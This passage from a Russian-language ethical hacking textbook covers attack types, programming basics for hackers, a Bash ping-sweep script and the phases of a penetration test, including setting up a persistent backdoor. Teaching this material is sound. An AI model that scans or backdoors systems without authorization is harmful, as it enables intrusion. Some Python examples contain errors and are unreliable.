привести к блокировке учетной записи после многих неудачных попыток входа с одной и той же учетной записи. В конечном итоге данные атаки зачастую осуществляются медленно, что создает сложности при использовании полного списка паролей. 6.4.5 Клиентские атаки Большинство атак осуществляется против серверов. Но поскольку сервисы сложнее атаковать, часто выбираются более легкие цели. Клиентские атаки — 112
6.5 Резюме результат того, что злоумышленник нацелен на разные приложения, установленные на рабочей станции сотрудника в целевой организации. Для этого подойдет ряд инструментов из категории «Инструменты социальной инженерии» (Social Engineering Tools). Этот тип атак предпочитает использовать уязвимость атак Flash Acrobat Reader и Java, которые были очень распространены в начале 2000 х годов. Здесь злоумышленник пытается попросить пользователя посетить вредоносный веб-сайт. На этих страницах содержится специальный код, который вызывает уязвимости в клиентских приложениях и позволяет вредоносному коду запускаться в целевых системах. ‑ Клиентские атаки невероятно сложно предотвратить, и для эффективного снижения риска требуется прежде всего обучение пользователей, постоянные обновления и контроль сети. 6.5 Резюме Элементы CIA Triad — это ключевые аспекты, на которые необходимо обратить внимание при обеспечении безопасности системы в процессе развертывания обслуживания или оценки. Эта концептуальная основа служит для определения критически важных компонентов систем, а также усилий и ресурсов, которые следует направить на устранение выявленных уязвимостей. Точность сигнатур (подписей) чрезвычайно важна для обнаружения уязвимостей и для получения полезных результатов оценки. Чем больше данных доступно, тем выше вероятность того, что автоматизированное сканирование на основе сигнатур даст точные результаты. По этой причине сканирование с проверкой подлинности очень популярно. Как стало известно, автоматизированные инструменты используют базу данных подписей для обнаружения уязвимостей. Следовательно, даже небольшое отклонение от известной подписи может изменить результат, а также достоверность обнаруженных уязвимостей. Я также описал четыре типа оценок: сканирование уязвимостей, тест на соответствие требованиям, (традиционный) тест на проникновение и оценка приложений. В этих тестах используется основной набор инструментов, но многие из них и используемых методик пересекаются. В отличие от других типов оценки, анализ уязвимости относительно прост и обычно состоит из автоматизированного инвентаря обнаруженных проблем в целевой среде. В разделе обсуждалось, что уязвимость — это ошибка, которая (если она используется) может поставить под угрозу конфиденциальность, целостность или доступность системы. Как вы уже видели, это 113
Глава 6 Введение в оценку уровня безопасности дизайн, основанный на точных подписях. Таким образом, эти результаты могут также давать ложные положительные и ложные отрицательные результаты. Инструменты для данных оценок можно найти в таких категориях, как «Анализ уязвимости» и «Инструменты эксплуатации». Тестирование на соответствие нормативным требованиям обычно основано на нормативных или отраслевых стандартах, для которых система соответствия. Этот тип оценки обычно начинается со сканирования уязвимостей. (Традиционный) тест на проникновение — это тщательная оценка безопасности, направленная на улучшение общего состояния безопасности организации на основе реальных угроз. Эта оценка включает в себя несколько этапов и приводит к эксплуатации уязвимостей безопасности, доступу к другим компьютерам и сетям в пределах определенной целевой области. При проведении оценки приложения вы сосредоточиваетесь на одном и используете специальные инструменты, которые можно найти в категориях «Анализ веб-приложений», «Оценка базы данных», «Обратная разработка» и «Инструменты эксплуатации». В конце этой главы я представил разные типы атак, включая: ◾ Отказ в обслуживании, который приводит к сбою в работе сервиса. ◾ Повреждение памяти. Памятью процесса можно манипулировать, что часто позволяет злоумышленнику выполнить код. ◾ Веб-атаки, использующие SQL-инъекции, и XSS-атаки происходят, когда пользовательский ввод не проходит должную очистку, что приводит к извлечению данных из базы данных или позволяет выполнить вредоносный код в ходе сеанса браузера. ◾ Атаки с использованием паролей. Здесь для атаки часто используются списки паролей для успешного входа в сервис.
Глава 7 ­ Введение в программирование и shell-скрипты Языки программирования используются для разработки программных инструментов и приложений, таких как мобильные игры и веб-приложения. С помощью этих языков программисты и разработчики могут писать программы, выполняющие определенные задачи, следуя ряду правил или инструкций. Хакерство использует языки программирования для создания инструментов для взлома, а также для автоматизации задач. 7.1 Языки программирования для этичного хакинга Этичные хакеры применяют разнообразные языки программирования, включая языки высокого и низкого уровней. Они разрабатывают программы для тестирования безопасности (веб-)приложений и сетей. Широко используемые инструменты для хакерских атак создаются с использованием эффективных языков программирования. Вот на какие языки программирования следует обратить внимание при этичном взломе: ◾ ◾ ◾ ◾ ◾ Python. C/C++. JavaScript. PHP. Java. Python ­ Python — это высокоэффективный и гибкий скриптовый язык с открытым исходным кодом, который поддерживает объектно-ориентированное программирование. Python также применяется для разработки сложных программ, включая настольные приложения, веб-приложения, ПО для автоматизации и системы анализа данных. Python — один из самых популярных языков программирования. В нем есть множество библиотек для хакеров, таких как IMPACT, RawSocketPy, Cryptography и Scapy. Python можно использовать для разработки мощных эксплойтов и создания хакерских скриптов. Это позволяет разработчикам быстро выполнять задачи, так как Python предоставляет возможности для автоматизации структурированных процессов. 115
Глава 7 Введение в программирование и shell-скрипты ­ C/C++ C — универсальный язык программирования, а C++ поддерживает объектно-ориентированное программирование. Применяется в разработке игр, программных приложений, объектно-ориентированном программировании, операционных системах, интернете и многих других областях. ­ ­ Язык С совместим со всеми машинами и платформами. Он поддерживает низкоуровневое программирование и поэтому может использоваться для доступа к низкоуровневым аппаратным компонентам и другим системным ресурсам. Этот язык полезен при программировании скриптов и написании эксплойтов. Объектно-ориентированная функциональность C++ позволяет создавать сложные хакерские программы. ­ JavaScript JavaScript — очень популярный язык, особенно в области веб-разработки, поскольку это интерпретируемый язык, и для выполнения кода не требуется компилятор 31. Он обладает легким синтаксисом и прост в реализации. JavaScript позволяет экспертам по хакерству выявлять потенциальные угрозы и уязвимости в веб-приложениях, а также защитить клиентскую часть веб-программы. Более глубокое понимание программирования на JavaScript помогает пользователям изучать и обнаруживать хакерские атаки, такие как межсайтовый скриптинг (XXS) HTML и внешние объекты XML (XEE). PHP PHP — это серверный язык сценариев для динамических веб-сайтов. Он портативный и может работать на различных платформах. Поскольку PHP быстрее и проще в использовании, чем другие скриптовые языки, он получил широкое распространение. Кроме того, у него открытый исходный код. Это также важный язык программирования для взлома веб-приложений. Если вы освоите PHP, вы также сможете научиться взлому веб-приложений и разрабатывать решения для потенциальных атак. Java Java — тоже серверный язык, используемый в веб-приложениях, разработке мобильных приложений, разработке игр и науке о данных. Это язык программирования высокого уровня, который позволяет осуществлять объектноориентированное программирование и обработку данных. Он поддерживает ­ 31 116 Компилятор — компьютерная программа, которая преобразует исходный код определенного языка программирования в код, который может быть выполнен компьютером.
7.2 Программирование на языке Python как компиляторы, так и интерпретаторы, поскольку у него есть компилятор Java и виртуальная машина Java (JVM). Этичный хакер может разработать современные программы для взлома на Java. Выдающаяся гибкость, безопасность и надежность — вот несколько причин, по которым хакеры выбирают именно его. Какой язык программирования следует изучать в первую очередь? Трудно найти общий ответ, поскольку у каждого языка свои преимущества и недостатки. Многие рассматривают Python как основной: он считается де-факто языком в области этичного хакинга. Python — также один из лучших языков программирования и предлагает множество мощных и полезных библиотек. Кроме того, Python — лучший выбор для начинающих программистов, так как он проще в использовании по сравнению с другими языками. Поскольку у него открытый исходный код, вы можете свободно загружать и использовать его в любое время. Можете ли вы выбрать «неправильный» язык программирования? В данном контексте я должен однозначно ответить: да. Необходимо учитывать, для каких целей вы используете язык. У каждого из них свои ограничения — следовательно, не существует идеального языка для этичного хакерства. Для достижения цели существует лишь один оптимальный язык. Важно помнить, что этичные хакеры противостоят опытным хакерам. Поэтому выбор языка критически важен для успешной защиты от вредоносных атак. 7.2 Программирование на языке Python Хотя для хакера глубокие знания программирования не обязательны, понимание основ построения классов и циклов, а также умение читать исходный код могут значительно упростить некоторые задачи. Многие инструменты написаны на Python, поэтому я покажу его основы в качестве примера. Это поможет вам понять данные инструменты и, если необходимо, модифицировать их. В этом разделе я хотел бы дать вам краткое введение в программирование на Python. Он был разработан как язык программирования в 1990 х годах. Его название восходит к английской комедийной труппе Monty Python, а не к роду змей Python. Только в октябре 2023 года была выпущена версия 3.12. Этот язык — один из интерпретируемых языков программирования более высокого уровня, поэтому можно писать простые скрипты Python с помощью простого текстового редактора. Как результат — вы можете выполнять скрипты только в командной строке. Тем не менее можно использовать специальные среды ‑ 117
Глава 7 Введение в программирование и shell-скрипты ­ разработки, чтобы создавать исходный код. Это облегчает выполнение тестов и предоставляет информацию об ошибках. Текстовые редакторы использовались с самого начала программирования. В Linux наиболее популярные текстовые редакторы —Nano Vim и Emacs. Для программирования я предпочитаю использовать gedit. Независимо от того, используете ли вы текстовый редактор или интегрированную среду разработки, вам необходим интерпретатор Python. Он уже предустановлен в большинстве ОС, ориентированных на хакерство. Если его нет, вы можете установить его самостоятельно: sudo apt-get install python3 7.2.1 Первые команды Когда вы начинаете изучать программирование, первое, что вам необходимо освоить, — команды ввода и вывода. В этом примере мы рассмотрим базовую форму ввода и вывода. Мы передаем текст, который затем возвращается: gedit first_program.py Важно указать окончание.py, которое идентифицирует файл как программу Python. После подтверждения команды откроется новое окно gedit. По расширению файла gedit понимает, на каком языке вы хотите написать программу, и выделяет части программного кода цветом в зависимости от функции. Обратите внимание, что приведенная выше команда сохраняет файл в текущем каталоге. Вы также можете указать путь перед именем файла, чтобы сохранить его в другом месте. Функция print используется для вывода символьной строки в командную строку. Чтобы вывести «Hello World!», нужно записать в файл следующую строку: 001 print(«Hello World!») Теперь необходимо сохранить файл перед возвратом в командную строку. Обратите внимание, что пока окно открыто, командная строка функционирует как активный процесс. Таким образом, вы можете закрыть окно gedit или открыть новое окно терминала. Для запуска только что созданной программы используйте следующую команду: python3 first_program.py Строка символов в кавычках теперь выводится в командную строку: 002 inp = input(“Which operating system do you use?”) 118
7.2 Программирование на языке Python Чтобы использовать ввод пользователя, вы можете назначить вход input() переменной (здесь: inp). Комментарии играют важную роль в программировании. Это текст, который игнорируется при выполнении программы и в основном используется для документирования и структурирования кода. Комментарии помогают лучше понимать код и упрощают навигацию по его различным частям. Символ # используется для обозначения комментария. Все, что следует за символом # в строке, игнорируется при выполнении программы. 7.2.2 Типы данных и переменные Если вы уже владеете языком программирования, вам все равно стоит бегло просмотреть этот раздел: Python немного отличается от других языков. Переменные В языках программирования переменные используются для хранения значений (строк или чисел). Вы можете присваивать им любые имена, но рекомендуется использовать описательное имя, указывающее, какое значение здесь хранится. Во многих языках программирования, таких как С, тип данных переменной должен быть определен до того, как ей можно будет присвоить значение. Значение переменной может изменяться во время выполнения программы, однако тип данных остается фиксированным. Это означает, что, например, если вы сохранили целое число, вы не сможете позже перезаписать это значение числом с плавающей запятой. В Python переменным не присваивается определенный тип, поэтому вам не нужно объявлять его. Если вам нужна переменная в программе, вы можете сразу присвоить ей значение. 001 i = 42 Знак равенства следует рассматривать не как математический знак, а как: «Мы присваиваем переменной i значение 42», то есть содержимое i после присвоения равно 42. Вы также можете изменить значения переменных, например, увеличить значение i на 1, а затем вывести: 002 i = i + 1 003 print i 119
Глава 7 Введение в программирование и shell-скрипты ­ Числа Python распознает четыре типа данных для чисел: ◾ Целое число (например, 42). С помощью предшествующего «префикса» можно определить числовую систему. Например, 0x означает «шестнадцатеричное». ◾ Длинное целое число. Может быть произвольной длины. Чтобы их обозначить, в начале добавляют l или в конце L. ◾ Числа с плавающей запятой, вида 3 1415G ◾ Комплексные числа — например, 1.2+3j Strings Strings (или строка символов) — это последовательность отдельных символов. К каждому отдельному символу строки можно обратиться с помощью индекса. В примере я использую название языка программирования, где индекс начинается с 0, то есть P имеет индекс 0, а n — 5. 001 s = «Python» 002 print s[0] Когда вы вызываете программу, команда в строке 5 выводит только P. Поскольку вы не всегда знаете длину строки, может потребоваться сначала определить ее. Вы можете сделать это с помощью команды len(). Здесь вам нужно помнить, что возвращается количество символов. Однако поскольку индекс начинается с 0, последняя цифра индекса на единицу меньше возвращаемого значения. Теперь для доступа к последнему и предпоследнему символам инструкции в программе будут следующим: 003 index_last_char = len(s) — 1 004 print s[index_last_char) 005 print s[index_last_char — 1] Важные строковые функции Несколько строковых функций, которые могут быть важны для вас: ◾ Объединение позволяет объединить две строки в новую строку. Для этого вам понадобится оператор +. „Hello“ + „World“ равно „HelloWorld“. ◾ Повторение: строка может быть объединена (повторена) многократно. Для этого используется оператор *. Например „*_*“ * 3 становится „*_**_**_*“. ◾ Индексация: «Python» [0] приводит к «P». ◾ Нарезка: из строки «вырезается» часть. [2:4] означает, что из строки «Python» вырезается подстрока, которая начинается с символа с индек- 120
7.2 Программирование на языке Python сом 2 (включительно) и продолжается до индекса 4 (включительно). То есть все, что начинается с первого указанного индекса и до второго, — подстрока. При использовании «Python» [2:4] новой подстрокой будет th. Знак выхода или эвакуации С помощью некоторых символов можно управлять потоком текста, например, символом перевода строки (новая строка) или табуляцией. Их нельзя отобразить на экране как отдельные символы. Отображение осуществляется с помощью специальных последовательностей символов, называемых «Escape-последовательностями». Они начинаются с обратной косой черты, за которой следует идентификатор желаемого специального символа. Есть следующие символы экранирования: ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ ◾ \ Продолжение строки. \‘ Одиночная перевернутая запятая. \“ Двойные кавычки. \a Колокольчик. \b Пробел (Backspace). \e Выделение. \0 Нуль. \n Перевод строки. \v Вертикальная табуляция. \t Горизонтальная табуляция. \r Возврат каретки. \f Подача формы (перевод строки). \0XX Восьмеричное значение. \xXX Шестнадцатеричное значение. ­ Вы можете предотвратить интерпретацию управляющих символов, добавив перед строкой букву r или R например r»\n». Тогда переноса строки не будет. 7.2.3 Условные операторы (ветви) Вряд ли возможно написать программу, которой можно управлять с помощью линейной последовательности. Вы можете захотеть, чтобы определенная часть программы выполнялась при особых условиях, то есть только в том случае, если определенное условие применяется или вы хотите выполнять часть кода чаще. Каждый язык программирования предлагает такие структуры управления — ветви и циклы. Ветвь, или условный оператор, — это фрагмент кода, который выполняется при определенных условиях. Если условие не применяется, код не будет выполнен. Поэтому ветвь определяет, какая из двух (или более) частей программы (альтернатив) выполняется в зависимости от одного (или более) условия. 121
Глава 7 Введение в программирование и shell-скрипты ­ Оператор if может выглядеть следующим образом: if условие1: инструкции1 elif условие2: инструкции2 else: инструкции3 Это означает, что, если условие 1 верно, инструкции 1 выполняются. Если нет, если условие 2 верно, инструкции 2 будут выполнены. Если ни одно из первых двух условий не выполнено, инструкции выполняются в соответствии с другими инструкциями (инструкции 3). 7.2.4 Циклы Циклы — важный инструмент в программировании. Они позволяют многократно выполнять блок кода, известный как тело цикла. В Python существуют два основных типа циклов: while и for. Цикл while Большинство циклов содержит счетчик или, в более общем случае, переменные, которые меняют свои значения в ходе вычислений в теле цикла. Вне цикла, то есть перед его началом, эта переменная инициализируется. Каждый раз перед выполнением цикла проверяется, выполняется ли условие, то есть правильно ли выражение, в котором встречается переменная. Это выражение определяет конец цикла. Пока вычисление выражения возвращает «True» (или «Истинно»), тело цикла выполняется. нет да Print «Сумма составляет:», s Рис. 7.1. Иллюстрация цикла while 122
7.2 Программирование на языке Python После выполнения всех инструкций управление программой автоматически возвращается к началу цикла, то есть к проверке условия, выполняется ли. Если условие истинно, выполнение продолжается в соответствии с описанным ранее процессом; если нет, тело цикла больше не выполняется, и процесс продолжается с остальной частью скрипта. Небольшой скрипт на Python продемонстрирует работу цикла while. В примере необходимо вычислить сумму чисел от 1 до 10. n = 10 s = 0 i = 1 while i <=n: s = s + i i = i + 1 print "Сумма составляет: ", s В следующем разделе вы увидите более элегантный метод достичь этой цели. Цикл for Если вы знакомы с циклами for из других языков программирования, вас, вероятно, удивит подход Python. Здесь циклы for используются для итерации (повторения) последовательности объектов. В других языках программирования они обычно реализуются немного иначе, с помощью цикла while. С помощью функции range() циклы for идеально подходят для итераций. range() возвращает списки, которые соответствуют арифметическим последовательностям. range(10) = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] В приведенном примере показано, что range() вызывается с одним параметром и возвращает список чисел от 0 до этого параметра. Однако команда range() также может быть вызвана с двумя аргументами: range (begin, end) Затем будет предоставлен список всех целых чисел от begin (включительно) до end (исключая). В качестве третьего параметра можно также ввести размер шага (Step size). Функция range() становится полезной в сочетании с циклами for. В предыдущем примере, где мы вычисляли сумму чисел от 1 до 10, это выглядело бы так: 001 n = 10 002 s = 0 003 for i in range (1, n+1): 123
Глава 7 Введение в программирование и shell-скрипты ­ s = s + 1 004 005 print s В этом разделе вы узнаете об основных инструкциях Python, которые облегчат вам чтение кода программ и инструментов. Если вы хотите адаптировать инструменты или даже создать свои собственные, вам нужно углубиться в язык еще глубже. Для этого есть отличные книги, такие как «Python 3 — Learning and Applying Professionally» Майкла Вейгенда. 7.3 Bash-скрипты Вы наверняка знаете, что существуют различные типы командных строк. Командная строка (CMD) в Windows знакома большинству. Многие версии Linux, включая Kali Linux, а также macOS до версии 10.14 32 используют Bash (Bourne-Again Shell). В Bash вы можете не только выполнять отдельные команды, но и запускать скрипты, чтобы несколько команд выполнялись автоматически и последовательно. В этом разделе я кратко покажу вам, как использовать скрипты. ­ Важно внимательно изучить возможности сценариев Bash и адаптировать их к своим потребностям. Это позволяет сэкономить много времени. Создать скрипт несложно. Это простой текстовый файл, который обозначается расширением .sh. На основе данного расширения Bash распознает, что это скрипт, и соответствующим образом интерпретирует инструкции. Для начала создайте текстовый файл с помощью следующей команды: nano script.sh Используйте команду nano, чтобы открыть простой текстовый редактор с указанным файлом (см. рис. 7.2). 32 124 Начиная с macOS 10.15, по соображениям лицензирования, по умолчанию используется оболочка Z.
7.3 Bash-скрипты Рис. 7.2. Новый созданный файл в текстовом редакторе nano Важно сохранить файл при выходе из текстового редактора, иначе он не будет создан. Если вы подтвердили сохранение, файл останется в каталоге, в котором вы только что находились. В основном скрипт запускается через свой интерпретатор. При этом процесс создается не самим скриптом, а только выполняющим интерпретатором, например, Bash. Чтобы выполнить скрипт, сначала необходимо запустить интерпретатор и сообщить ему, какой скрипт он должен обработать. Вызов будет выглядеть так: bash sсript.sh Вы можете избавить себя от необходимости каждый раз указывать интерпретатор, если сохраните оболочку, которая будет использоваться непосредственно в скрипте. Для этого необходимо в первой строке скрипта указать, какую оболочку он должен обрабатывать. Скрипт пишется в синтаксисе конкретной оболочки, из которой он затем должен выполняться. Оболочка определена: 001 #!/bin/bash С помощью этой записи в первой строке сценария вы указали, что должен использоваться Bash. Хештег в начале строки показывает, что остальная часть строки — комментарий, поэтому исполняющая оболочка игнорирует эту строку. Однако эта строка важна для ядра: по восклицательному знаку после хеша оно понимает, что этот скрипт должен быть выполнен определенным интерпретатором. Путь к интерпретатору следует за #!, в данном примере это будет /bin/ bash. 125
Глава 7 Введение в программирование и shell-скрипты ­ Важно Обязательно укажите в первой строке интерпретатор, который может обрабатывать все функции, используемые в скрипте. Неправильно выбранный интерпретатор — частая причина того, что скрипты работают не так, как нужно. 7.3.1 Сделать скрипт исполняемым и доступным Чтобы иметь возможность выполнять скрипт без указания интерпретатора, необходимо сделать его исполняемым. Для этого в терминале нужно ввести следующую команду: chmod +x /pfad/sсript.sh После того как вы сделали скрипт исполняемым, вы можете запустить его, указав путь и имя. /pfad/sсript.sh Если вы уже находитесь в каталоге, в котором сохранен скрипт, достаточно ввести следующее: ./sсript.sh Если вы еще не сделали скрипт исполняемым, вы все равно можете его выполнить. Вызов интерпретатора с именем скрипта в качестве аргумента выполнит содержимое скрипта: bash sсript.sh Для некоторых скриптов может оказаться полезным, если вы сможете вызывать их из любого места, просто введя имя. После того как скрипт станет исполняемым, вы должны связать или переместить его в папку (например, ~/bin/), которая указана в переменной окружения $PATH. Примечание Если на компьютере несколько пользователей, следует убедиться, что скрипты, хранящиеся в глобальных каталогах, например /usr/local/bin, принадлежат пользователю root. Только этот пользователь может записывать файл, иначе откроется уязвимость в системе безопасности. 7.3.2 Выходные данные и переменные Чтобы протестировать скрипт, рекомендуется использовать простой вывод строки, такой как Hello World!. Текстовый вывод запускается командой echo. 126
7.3 Bash-скрипты По сути, вы можете вывести здесь переменную или другую строку, которую заключите в кавычки. Для первого теста добавьте в скрипт следующую команду: 002 echo «Hello World!» После того, как вы сохранили скрипт и он стал исполняемым, вы можете протестировать его с помощью ./sсript.sh и получить результат как на рис. 7.3. Рис. 7.3. Создание исполняемого скрипта и первый тест текстового вывода Skript-script ­ Прежде чем вы ознакомитесь с примером в следующем разделе, который будет полезен для вас, как для этичного хакера, давайте кратко рассмотрим переменные. Переменные — это символические имена для значений, чтобы создавать скрипты с высокой степенью гибкости. Они позволяют изменять значения внутри скрипта. Рекомендую всегда использовать описательные имена для переменных: это упростит вашу работу. Вы присваиваете переменным значение, ставя знак равенства между переменной и значением без пробела, например: message=hello Здесь я присвоил переменной message значение «привет». Если вы хотите присвоить переменной значение с пробелами или другими специальными символами, вам необходимо заключить это значение в кавычки: 003 message="Hello World!" Наконец, чтобы вывести содержимое переменных, перед именем переменной нужно поставить знак доллара. Для примера команда будет выглядеть следующим образом: 004 echo $message Вывод: Hello World! 127
Глава 7 Введение в программирование и shell-скрипты ­ Еще один способ использования значений в скриптах — передача их при вызове. В скрипте он также используется со знаком доллара и числом, указывающим, сколько в нем значений. Например, если вы должны были вызвать ./ sсript.sh Anton Susi Max, то в скрипте вы можете использовать Anton с $1, Susi с $2 и Max с $3. Теперь вы можете использовать эти значения, как любую другую переменную. Вы также можете связывать между собой переменные, переданные значения и символьные строки. Как и в случае с выводом, при использовании пробелов или специальных символов ссылку нужно заключать в кавычки. Такой вывод с переданными выше значениями может выглядеть следующим образом: echo "$1 and $2 and $3" Вывод: Anton and Susi and Max 7.3.3 Циклы в скриптах Как эксперт по IT-безопасности, вы не можете использовать предыдущие примеры. Поэтому давайте далее рассмотрим, как можно создать скрипт с командой ping для нескольких IP-адресов подсети. Чтобы создать скрипт, вам необходимо ознакомиться с концепцией циклов. Если вы уже изучали какой либо язык программирования, то, скорее всего, уже знакомы с этой концепцией, поскольку циклы есть практически в каждом языке. ‑ Для примера рассмотрим цикл for. Он выполняется до тех пор, пока выполняется условие, например, значение переменной i меньше 25G (i<256). Особенность данного цикла — то, что начальное значение и изменение параметра цикла определяются одинаково. В данном примере это означает, что цикл, который необходимо пройти для всех возможных IP-адресов, то есть от 0 до 255, будет выглядеть следующим образом: for (i=0; i<256; i++) do # Commands to be executed within the loop done При i=0 переменной присваивается начальное значение. Условие i<256 должно быть выполнено для выполнения последующих инструкций. Если условие выполнено, команды между do и done выполняются, а переменная i увеличивается на единицу с помощью i++. Если после этого условие по-прежнему выполняется, процесс повторяется до тех пор, пока условие не перестанет выполняться. После завершения цикла скрипт продолжает выполнение оставшихся команд. 128
7.4 Резюме Теперь нам нужна команда, которая будет выполняться внутри цикла. Здесь мы отправим команду ping, которая отправляет только один пакет. Остальную часть IP-адреса без хостовой части мы получим в качестве параметра вызова скрипта: ping "$1.$i" -c 1 Параметр -c 1 гарантирует, что ping будет отправлен только один раз. Полный скрипт выглядит следующим образом: 001 002 003 004 005 #!/bin/bash for (i=0; i<256; i++) Do ping "$1.$i" -c 1 done   7.4 Резюме Теперь вы знаете основы языка программирования Python, который можно использовать для настройки хакерских инструментов под свои нужды. В предыдущем разделе мы также создали простой Bash-скрипт, чтобы показать, как можно использовать скрипты для взлома. В остальной части книги мы не будем подробно рассказывать о скриптах, поскольку это выходит за рамки данного издания. Этот краткий обзор показал вам принцип работы скриптов Bash. Вам также следует ознакомиться с созданием скриптов, чтобы упростить и автоматизировать процессы взлома и тем самым сэкономить время.

Часть 2 Проведение тестов на проникновение В этой части книги мы рассмотрим различные этапы тестирования на проникновение: от планирования и сбора информации до атак и отчетности. Вы узнаете, как выбрать метод тестирования на проникновение, соответствующий вашей цели и ситуации, а также как учитывать правовые и этические аспекты. Я расскажу о некоторых наиболее важных инструментах, которые можно использовать на каждом этапе для анализа системы, поиска и использования уязвимостей. Вы будете работать как с коммерческими инструментами, так и с инструментами с открытым исходным кодом, подходящими для различных операционных систем и приложений. Научитесь не только использовать эти инструменты, но и настраивать, адаптировать и комбинировать их для повышения эффективности и продуктивности. 131
Часть 2 Проведение тестов на проникновение В этой части: ■ Глава 8 Тест на проникновение ......................................................... 133 . ■ Глава 9 Сбор информации (разведка) ............................................. 155 . ■ Глава 10 Активное сканирование ....................................................... 183 . ■ Глава 11 Вторжение через локальную сеть....................................... 215 . ■ Глава 12 Вторжение через веб-интерфейс ........................................ 261 . ■ Глава 13 Социальная инженерия ........................................................ 288 . ■ Глава 14 Пост-обработка и сохранение доступа............................. 301 . ■ Глава 15 Завершение теста на проникновение ................................ 317 .
Глава 8 Тест на проникновение Как и любой другой проект, тест на проникновение можно разделить на ряд этапов. Структурированный подход важен для вас как для тестировщика на проникновение: он помогает приступить к тесту, не теряя времени по пустякам. Используя этот простой подход, вы можете разделить сложный процесс на небольшие задачи, с которыми легко справиться. Этот метод широко используется, но названия и количество шагов у разных методов различаются. Независимо от того, какой метод вы выберете, важно, чтобы процесс давал вам полное представление о тестировании на проникновение. Пусть вас не смущает разная терминология отдельных методов. То, что в одном методе называется «сбором информации», в других называется «объяснением». «Разведчик/Реконструкция» или «Recon» — примерно одно и то же. В этой книге я не буду сосредоточиваться на названиях шагов, а только на действиях во время этого шага. Важно, чтобы вы освоили азы. После этого вы можете более подробно ознакомиться с методами и выбрать тот, который подходит вам. Чтобы было проще, в этой книге я описываю четырехступенчатый процесс. Желательно посмотреть на другие методики и процессы с разными названиями. Даже если они различаются по терминологии, вы обнаружите, что все надежные методы охватывают одну и ту же деятельность. В методах часто упоминается фаза заметания следов в конце, которую я в этой книге пока пропущу. Мы рассмотрим следующие фазы: 1. Сбор информации (разведка). 2. Сканирование. 3. Проникновение. 4. Доработка. 133
Глава 8 Тест на проникновение разведка сканирование проникновение доработка Рис. 8.1. Методология проведения тестов на проникновение Вы, скорее всего, будете думать о фазах как о перевернутой пирамиде, как показано на рис. 8.1. Это показывает, что результат первого этапа все еще общий и сужается до все более и более конкретных деталей с каждым этапом. Этап сбора информации должен быть широким. Вам необходимо фиксировать и хранить каждую деталь и информацию о вашем пункте назначения. Хотя информация, собранная на первом этапе, может показаться незначительной, впоследствии она может иметь решающее значение для успеха атаки и способствовать проникновению в целевую систему. На последующих этапах вы все больше сосредоточиваетесь на конкретной информации о цели. ◾ ◾ ◾ ◾ Где находится цель? Каков ее IP-адрес? Какая ОС запущена? Какие службы и версии ПО запущены в системе? Эти вопросы становятся все более и более подробными. Важно задавать и отвечать на них в определенном порядке! Последовательность отдельных шагов очень важна, так как один шаг часто требует результата предыдущего. Если вы проводите тест на проникновение самостоятельно, недостаточно просто уметь пользоваться инструментами. Для проведения комплексного и реалистичного теста на проникновение необходимо также знать, в каком порядке следует их использовать. Будучи новичком, вы часто склонны пропускать этап разведки и сразу же начинать проникновение. Если вы также пропускаете первые два шага, в результате у вас обычно остается значительно меньше целей или меньше вариантов атаки для отдельных задач. В этом случае ваш тест вырождается в тест с узкой калибровкой, который требует детального объяснения. 134
Глава 8 Тест на проникновение Хотя ранее я описал этот процесс как перевернутую пирамиду, вы должны думать о последовательности шагов как о цикле. Критически важные системы редко имеют прямой доступ через интернет. Часто вам приходится проникать через последовательность связанных целей, прежде чем станет возможным атаковать желаемую. Это означает, что сначала вам нужно взломать один компьютер, чтобы использовать его для атаки на следующий. Ваша работа в качестве тестировщика на проникновение часто включает работу с несколькими компьютерами и сетями, прежде чем вы достигнете желаемой цели. Получение информации Доработка Сканирование Взлом Рис. 8.2. Этапы метода в виде цикла Первый шаг в попытке проникновения — всегда получение информации, то есть как можно большего количества данных о цели. Чем больше у вас информации, тем больше ваш успех в следующих шагах. Независимо от того, каким материалом вы обладали в начале, после завершения этапа «Сбор информации» у вас должен быть список IP-адресов, которые вы можете сканировать. На втором этапе этого метода, сканировании, у нас есть две части скан-фазы. ◾ Порт-скан: по окончании сканирования вы получите список открытых портов и служб, которые могут быть запущены на целевом компьютере. ◾ Сканирование уязвимостей: поиск определенных уязвимостей в ПО и службах целевого компьютера. После завершения двух частей второго этапа перейдите к фазе взлома. После того как вы точно узнаете, какие порты открыты, какие сервисы на них запущены и какие уязвимости в них есть, вы можете начать атаку на цель. 135
Глава 8 Тест на проникновение Новички часто считают этот этап «настоящим хакерством» с использованием инструментов, позволяющих проводить массовые атаки одним нажатием кнопки. Для вторжения можно использовать множество различных техник и инструментов. В следующих главах я покажу вам некоторые из наиболее важных инструментов для каждого этапа. Цель атаки — получить административный доступ к целевому компьютеру. На заключительном этапе доработки вам необходимо консолидировать то, что часто является лишь временным доступом к системе, установив постоянный «черный ход». При этом административный доступ сохраняется даже после закрытия затронутой программы или перезагрузки компьютера. Как этичному хакеру, вам следует быть осторожным на этом этапе. Отчетность не упоминается как формальный шаг в этом методе, но она по-прежнему последнее и самое важное действие теста на проникновение. Независимо от того, сколько времени вы потратите на планирование и тестирование, ваш клиент будет судить о вашей работе и производительности по качеству отчета. Итоговый отчет должен содержать всю необходимую информацию, которую вы получили в ходе теста, и подробно объяснять, как проводился тест и что вы делали. Также стоит перечислить меры по смягчению или решению обнаруженных проблем безопасности. Каждый отчет включает резюме — обзор ваших выводов на одну-две страницы. В резюме нужно изложить и кратко объяснить основные проблемы, которые вы обнаружили во время теста. Его надо сформулировать так, чтобы его могли прочесть (и понять) нетехнические специалисты. Резюме не должно содержать слишком много технических деталей, которые уже упомянуты в подробном отчете. В этой главе вы узнаете об инструментах и методах, которые помогут вам подготовиться к тесту на проникновение. Общие аспекты о том, как собрать объем теста на проникновение в разделе 8.2, помогут вам и клиентам, которые хотят провести тест на проникновение. Это самые важные вопросы, на которые обязательно нужно ответить, прежде чем приступать к тестированию. Чтобы получить максимальную выгоду от теста на проникновение, вы должны убедиться, что ответы даны. Вы также узнаете, что в процессе определения масштаба деятельности вам нужно будет задавать дополнительные вопросы, учитывающие специфику конкретной организации. 8.1 Сфера применения теста на проникновение (Scope) Определение объема — один из важнейших компонентов тестирования на проникновение, но также и один из часто пренебрегаемых. Многие книги 136
